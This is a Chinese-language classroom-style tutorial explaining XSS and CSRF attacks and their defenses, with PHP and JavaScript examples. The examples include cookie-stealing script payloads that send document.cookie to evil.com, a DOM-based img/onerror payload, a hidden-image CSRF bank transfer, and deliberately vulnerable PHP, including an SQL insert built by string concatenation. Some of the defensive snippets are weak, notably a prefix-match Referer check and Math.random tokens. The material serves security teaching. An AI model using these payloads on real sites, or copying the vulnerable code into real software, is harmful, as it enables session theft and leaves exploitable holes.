各位同学,大家好!我是今天的主讲人,咱们今天来聊聊Web安全里两个老生常谈,但又不得不防的家伙:XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)。 别看名字挺唬人,理解了原理,防御起来也就那么回事儿。咱们尽量用大白话,加上一些小例子,把这俩货彻底拿下!
XSS:脚本小偷的把戏
想象一下,你家大门敞开,然后有人悄悄溜进来,在你家里贴了张“我是你爹”的纸条。下次客人来你家,看到这张纸条,就以为是你写的,直接把你叫“儿子”了。 这就是XSS干的事儿,只不过它贴的不是纸条,而是恶意脚本。
XSS的原理
XSS 攻击本质上是注入攻击。攻击者通过某种方式,将恶意的 JavaScript 代码注入到受信任的 Web 页面中。当用户浏览这个页面时,这些恶意脚本就会在用户的浏览器上执行,从而窃取用户的 Cookie、会话信息,甚至篡改页面内容。
XSS 主要分为三种类型:
-
反射型 XSS (Reflected XSS):
-
原理: 攻击者通过构造包含恶意脚本的 URL,诱骗用户点击。服务器接收到 URL 中的恶意脚本后,会将其作为响应的一部分返回给用户。用户的浏览器解析响应时,恶意脚本就会被执行。
-
特点: 恶意脚本不存储在服务器端。
-
例子:
假设有个搜索页面,URL 如下:
http://example.com/search?keyword=hello
如果这个页面直接将
keyword
的值显示在页面上,而没有进行任何处理,攻击者就可以构造如下 URL:http://example.com/search?keyword=<script>alert('XSS!')</script>
当用户点击这个 URL 时,浏览器会执行
alert('XSS!')
,弹出一个警告框。更危险的是,攻击者可以替换alert('XSS!')
为窃取 Cookie 的代码:http://example.com/search?keyword=<script>window.location='http://evil.com/steal?cookie='+document.cookie</script>
这样,用户的 Cookie 就会被发送到攻击者的服务器
evil.com
。 -
代码示例 (易受攻击的 PHP 代码):
<?php $keyword = $_GET['keyword']; echo "你搜索了: " . $keyword; ?>
注意: 上面的代码直接输出了 GET 请求中的
keyword
参数,没有任何过滤。
-
-
存储型 XSS (Stored XSS):
-
原理: 攻击者将恶意脚本提交到服务器,服务器将其存储在数据库或其他持久化存储中。当其他用户访问包含这些恶意脚本的页面时,恶意脚本就会被执行。
-
特点: 恶意脚本存储在服务器端,危害更大。
-
例子:
假设有个留言板,用户可以发表评论。攻击者可以在评论中插入恶意脚本:
<script>window.location='http://evil.com/steal?cookie='+document.cookie</script>
当其他用户浏览这个留言板时,他们的 Cookie 就会被发送到攻击者的服务器。
-
代码示例 (易受攻击的 PHP 代码):
<?php // 假设已经连接到数据库 $comment = $_POST['comment']; $query = "INSERT INTO comments (content) VALUES ('$comment')"; mysqli_query($connection, $query); ?> <!-- 显示评论 --> <?php $query = "SELECT content FROM comments"; $result = mysqli_query($connection, $query); while ($row = mysqli_fetch_assoc($result)) { echo "<p>" . $row['content'] . "</p>"; } ?>
注意: 上面的代码直接将 POST 请求中的
comment
参数插入到数据库,没有任何过滤。显示评论的时候,也没有进行任何处理。
-
-
DOM 型 XSS (DOM-based XSS):
-
原理: 攻击者通过修改页面的 DOM 结构,使得恶意脚本得以执行。这种攻击不需要服务器端的参与。
-
特点: 恶意脚本不经过服务器,直接在客户端执行。
-
例子:
假设有个页面,通过 JavaScript 从 URL 的 hash 值中获取参数:
<script> var param = document.location.hash.substring(1); document.getElementById('output').innerHTML = param; </script> <div id="output"></div>
攻击者可以构造如下 URL:
http://example.com/page.html#<img src=x onerror=alert('XSS!')>
当用户访问这个 URL 时,
param
的值会是<img src=x onerror=alert('XSS!')>
。由于innerHTML
会解析 HTML 代码,所以onerror
事件会被触发,执行alert('XSS!')
。 -
代码示例 (易受攻击的 JavaScript 代码):
// 从 URL 的 hash 值中获取参数 var param = document.location.hash.substring(1); // 将参数的值显示在页面上 document.getElementById('output').innerHTML = param;
注意: 上面的代码直接将从 URL 获取的参数赋值给
innerHTML
,没有任何过滤。
-
XSS 的防御措施
防止 XSS 攻击,关键在于输入验证和输出编码。
-
输入验证 (Input Validation):
- 原则: 严格验证用户输入,只允许输入符合预期格式的数据。
- 方法:
- 白名单: 只允许输入白名单中的字符或格式。
- 黑名单: 过滤掉黑名单中的字符或格式(不推荐,容易被绕过)。
- 长度限制: 限制输入的最大长度。
- 数据类型验证: 验证输入的数据类型是否正确。
-
代码示例 (PHP):
<?php $username = $_POST['username']; // 使用白名单,只允许字母和数字 if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) { echo "用户名只能包含字母和数字"; exit; } // 长度限制 if (strlen($username) > 20) { echo "用户名长度不能超过 20 个字符"; exit; } // 安全地使用用户名 echo "欢迎," . htmlspecialchars($username); ?>
解释:
preg_match('/^[a-zA-Z0-9]+$/', $username)
: 使用正则表达式检查$username
是否只包含字母和数字。strlen($username) > 20
: 检查$username
的长度是否超过 20 个字符。htmlspecialchars($username)
: 对$username
进行 HTML 编码,防止 XSS 攻击。
-
输出编码 (Output Encoding):
-
原则: 对用户输入的数据进行编码,使其在 HTML 中显示时不会被解析为代码。
-
方法:
- HTML 编码: 将特殊字符转换为 HTML 实体。例如,将
<
转换为<
,将>
转换为>
,将"
转换为"
,将'
转换为'
,将&
转换为&
。 - JavaScript 编码: 将特殊字符转换为 JavaScript 转义序列。例如,将
"
转换为"
,将'
转换为'
,将转换为
\
。 - URL 编码: 将特殊字符转换为 URL 编码。例如,将空格转换为
%20
,将&
转换为%26
,将=
转换为%3D
。 - CSS 编码: 将特殊字符转换为 CSS 转义序列。
- HTML 编码: 将特殊字符转换为 HTML 实体。例如,将
-
代码示例 (PHP):
<?php $comment = $_POST['comment']; // HTML 编码 $safe_comment = htmlspecialchars($comment, ENT_QUOTES, 'UTF-8'); echo "<p>" . $safe_comment . "</p>"; ?>
解释:
htmlspecialchars($comment, ENT_QUOTES, 'UTF-8')
: 对$comment
进行 HTML 编码,并指定使用 UTF-8 字符集。ENT_QUOTES
表示同时编码单引号和双引号。
-
代码示例 (JavaScript):
function escapeHTML(str) { var div = document.createElement('div'); div.appendChild(document.createTextNode(str)); return div.innerHTML; } var comment = "<script>alert('XSS')</script>"; var safeComment = escapeHTML(comment); document.getElementById('output').innerHTML = safeComment;
解释:
escapeHTML(str)
: 创建一个临时的div
元素,并将需要编码的字符串作为文本节点添加到div
中。然后,获取div
的innerHTML
,浏览器会自动对字符串进行 HTML 编码。
-
-
使用 Content Security Policy (CSP):
- 原理: CSP 是一种安全策略,允许网站管理员控制浏览器能够加载哪些资源。通过配置 CSP,可以限制恶意脚本的执行,从而减少 XSS 攻击的风险。
- 方法: 通过 HTTP 响应头或 HTML
<meta>
标签设置 CSP。 -
例子:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';
解释:
default-src 'self'
: 只允许从同源加载资源。script-src 'self' 'unsafe-inline' 'unsafe-eval'
: 允许从同源加载脚本,允许内联脚本,允许使用eval()
函数。 ('unsafe-inline'
和'unsafe-eval'
应该尽可能避免使用,除非确实需要。)
-
使用 HTTPOnly Cookie:
- 原理: HTTPOnly Cookie 是一种特殊的 Cookie,只能通过 HTTP(S) 协议访问,不能通过 JavaScript 访问。通过设置 HTTPOnly Cookie,可以防止 XSS 攻击窃取 Cookie。
- 方法: 在设置 Cookie 时,添加
HttpOnly
属性。 -
代码示例 (PHP):
<?php setcookie("username", "John Doe", time() + 3600, "/", "", false, true); ?>
解释:
setcookie("username", "John Doe", time() + 3600, "/", "", false, true)
: 设置一个名为username
的 Cookie,值为 "John Doe",有效期为 1 小时,作用域为整个网站,只能通过 HTTP(S) 协议访问。true
参数表示设置 HTTPOnly 属性。
-
及时更新和修补漏洞:
- 原理: 及时更新和修补 Web 应用程序和服务器的漏洞,可以防止攻击者利用已知的漏洞进行 XSS 攻击。
XSS 防御总结
防御措施 | 原理 | 适用场景 |
---|---|---|
输入验证 | 严格验证用户输入,只允许输入符合预期格式的数据。 | 所有接收用户输入的地方,例如表单、URL 参数、Cookie 等。 |
输出编码 | 对用户输入的数据进行编码,使其在 HTML 中显示时不会被解析为代码。 | 所有需要将用户输入的数据显示在页面的地方。 |
Content Security Policy | 控制浏览器能够加载哪些资源,限制恶意脚本的执行。 | 整个网站,可以细粒度地控制不同页面的安全策略。 |
HTTPOnly Cookie | 防止 XSS 攻击窃取 Cookie。 | 所有需要保护的 Cookie,例如会话 Cookie。 |
及时更新和修补漏洞 | 防止攻击者利用已知的漏洞进行 XSS 攻击。 | 整个 Web 应用程序和服务器。 |
CSRF:冒名顶替的坏蛋
想象一下,你登录了银行网站,正准备转账给你的朋友。这时,你打开了一个恶意网站,这个网站偷偷地向你的银行网站发送了一个转账请求,把你的钱转到了攻击者的账户。由于你已经登录了银行网站,银行会认为这个请求是你自己发送的,所以就执行了转账操作。 这就是 CSRF 干的事儿,它冒充你的身份,干一些你不想干的事情。
CSRF 的原理
CSRF 攻击利用用户在受信任网站的身份验证凭据,欺骗用户在不知情的情况下执行恶意操作。 简单来说,就是攻击者伪造一个请求,以受害者的身份发送给服务器。如果受害者已经登录了该服务器,服务器会认为这个请求是受害者自己发送的,从而执行相应的操作。
CSRF 攻击通常发生在以下情况下:
- 用户已经登录了受信任的网站(例如银行网站)。
- 用户访问了恶意网站。
- 恶意网站通过某种方式(例如图片、链接、表单),向受信任的网站发送请求。
- 受信任的网站接收到请求后,会认为这个请求是用户自己发送的,从而执行相应的操作。
CSRF 的例子
假设有个银行网站,转账的 URL 如下:
http://bank.example.com/transfer?account=attacker&amount=100
如果用户已经登录了这个银行网站,攻击者可以在自己的网站上放置一个图片:
<img src="http://bank.example.com/transfer?account=attacker&amount=100" width="0" height="0">
当用户访问这个包含图片的恶意网站时,浏览器会自动向银行网站发送一个转账请求,将 100 元转到攻击者的账户。由于用户已经登录了银行网站,银行会认为这个请求是用户自己发送的,所以就执行了转账操作。
CSRF 的防御措施
防止 CSRF 攻击,关键在于验证请求的来源。
-
使用 CSRF Token:
- 原理: 在每个需要保护的表单或 URL 中,添加一个随机的、不可预测的 CSRF Token。服务器在接收到请求后,会验证请求中是否包含正确的 CSRF Token。如果 CSRF Token 不正确,服务器会拒绝执行请求。
- 方法:
- 服务器生成一个随机的 CSRF Token,并将其存储在用户的 Session 中。
- 在需要保护的表单或 URL 中,添加一个隐藏的字段,并将 CSRF Token 的值赋给该字段。
- 当用户提交表单或点击 URL 时,浏览器会将 CSRF Token 一起发送给服务器。
- 服务器在接收到请求后,会验证请求中的 CSRF Token 是否与 Session 中存储的 CSRF Token 相匹配。
- 如果 CSRF Token 不匹配,服务器会拒绝执行请求。
-
代码示例 (PHP):
<?php session_start(); // 生成 CSRF Token if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } // 验证 CSRF Token if ($_SERVER['REQUEST_METHOD'] == 'POST') { if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] != $_SESSION['csrf_token']) { echo "CSRF 攻击!"; exit; } } ?> <form action="process.php" method="post"> <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"> <input type="text" name="name"> <input type="submit" value="提交"> </form>
解释:
session_start()
: 启动 Session。bin2hex(random_bytes(32))
: 生成一个 32 字节的随机字符串,并将其转换为十六进制字符串。$_SESSION['csrf_token']
: 将 CSRF Token 存储在 Session 中。<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
: 在表单中添加一个隐藏的字段,并将 CSRF Token 的值赋给该字段。$_POST['csrf_token'] != $_SESSION['csrf_token']
: 验证请求中的 CSRF Token 是否与 Session 中存储的 CSRF Token 相匹配。
-
验证 HTTP Referer 头部:
- 原理: HTTP Referer 头部包含了请求的来源 URL。服务器可以验证 Referer 头部,判断请求是否来自受信任的网站。
- 方法: 检查 HTTP Referer 头部的值是否与受信任的网站的域名相匹配。
- 缺点:
- Referer 头部可以被伪造。
- 有些浏览器或代理服务器会禁用 Referer 头部。
- 不推荐单独使用,可以作为辅助手段。
-
代码示例 (PHP):
<?php $referer = $_SERVER['HTTP_REFERER']; $allowed_domain = 'http://example.com'; if (strpos($referer, $allowed_domain) === 0) { // 请求来自受信任的网站 } else { // 请求来自未知的网站 echo "CSRF 攻击!"; exit; } ?>
解释:
$_SERVER['HTTP_REFERER']
: 获取 HTTP Referer 头部的值。strpos($referer, $allowed_domain) === 0
: 检查 Referer 头部的值是否以受信任的域名开头。
-
使用 SameSite Cookie:
- 原理: SameSite Cookie 是一种特殊的 Cookie,可以限制 Cookie 的跨域访问。通过设置 SameSite Cookie,可以防止 CSRF 攻击。
- 方法: 在设置 Cookie 时,添加
SameSite
属性。 - 取值:
Strict
: Cookie 只能在同站点请求中使用。Lax
: Cookie 可以在同站点请求中使用,也可以在部分跨站点请求中使用(例如,点击链接)。None
: Cookie 可以在所有请求中使用(需要同时设置Secure
属性)。
-
代码示例 (PHP):
<?php setcookie("username", "John Doe", time() + 3600, "/", "", false, true); setcookie("sessionid", "1234567890", time() + 3600, "/", "", false, true, "Strict"); ?>
解释:
setcookie("sessionid", "1234567890", time() + 3600, "/", "", false, true, "Strict")
: 设置一个名为sessionid
的 Cookie,值为 "1234567890",有效期为 1 小时,作用域为整个网站,只能通过 HTTP(S) 协议访问,且只能在同站点请求中使用。
-
使用双重 Cookie 验证 (Double Submit Cookie):
- 原理: 服务器生成一个随机值,同时将其设置在 Cookie 中和一个表单字段中。 当用户提交表单时,服务器比较 Cookie 中的值和表单字段中的值是否一致。 如果一致,则认为请求是合法的,否则认为是 CSRF 攻击。
- 优点: 不需要服务器端存储 CSRF Token,适用于无状态的应用程序。
- 缺点: 依赖于同源策略,无法防御子域名的 CSRF 攻击。
-
代码示例 (JavaScript):
// 生成随机值 function generateRandomString(length) { var text = ""; var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for (var i = 0; i < length; i++) { text += possible.charAt(Math.floor(Math.random() * possible.length)); } return text; } var csrfToken = generateRandomString(32); // 设置 Cookie document.cookie = "csrf_token=" + csrfToken + "; path=/"; // 将随机值添加到表单字段中 document.getElementById("csrf_token").value = csrfToken;
代码示例 (PHP):
<?php // 获取 Cookie 中的 CSRF Token $cookieToken = $_COOKIE['csrf_token']; // 获取表单字段中的 CSRF Token $formToken = $_POST['csrf_token']; // 验证 CSRF Token if ($cookieToken !== $formToken) { echo "CSRF 攻击!"; exit; } ?>
CSRF 防御总结
防御措施 | 原理 | 适用场景 |
---|---|---|
CSRF Token | 在每个需要保护的表单或 URL 中,添加一个随机的、不可预测的 CSRF Token。 | 所有需要保护的表单或 URL。 |
验证 HTTP Referer | 验证 HTTP Referer 头部,判断请求是否来自受信任的网站。 | 可以作为辅助手段,不推荐单独使用。 |
SameSite Cookie | 限制 Cookie 的跨域访问。 | 所有需要保护的 Cookie,例如会话 Cookie。 |
双重 Cookie 验证 | 服务器同时在 Cookie 和表单字段中设置一个随机值,验证两者是否一致。 | 适用于无状态的应用程序。 |
总结
XSS 和 CSRF 都是常见的 Web 安全漏洞,但只要我们理解了它们的原理,并采取相应的防御措施,就可以有效地防止这些攻击。
- XSS: 注入攻击,通过将恶意脚本注入到受信任的 Web 页面中来窃取用户信息或篡改页面内容。防御的关键在于输入验证和输出编码。
- CSRF: 冒名顶替攻击,通过伪造请求,以受害者的身份执行恶意操作。防御的关键在于验证请求的来源。
记住,安全是一个持续的过程,我们需要不断学习和更新我们的知识,才能更好地保护我们的 Web 应用程序。
今天就讲到这里,希望大家有所收获! 散会!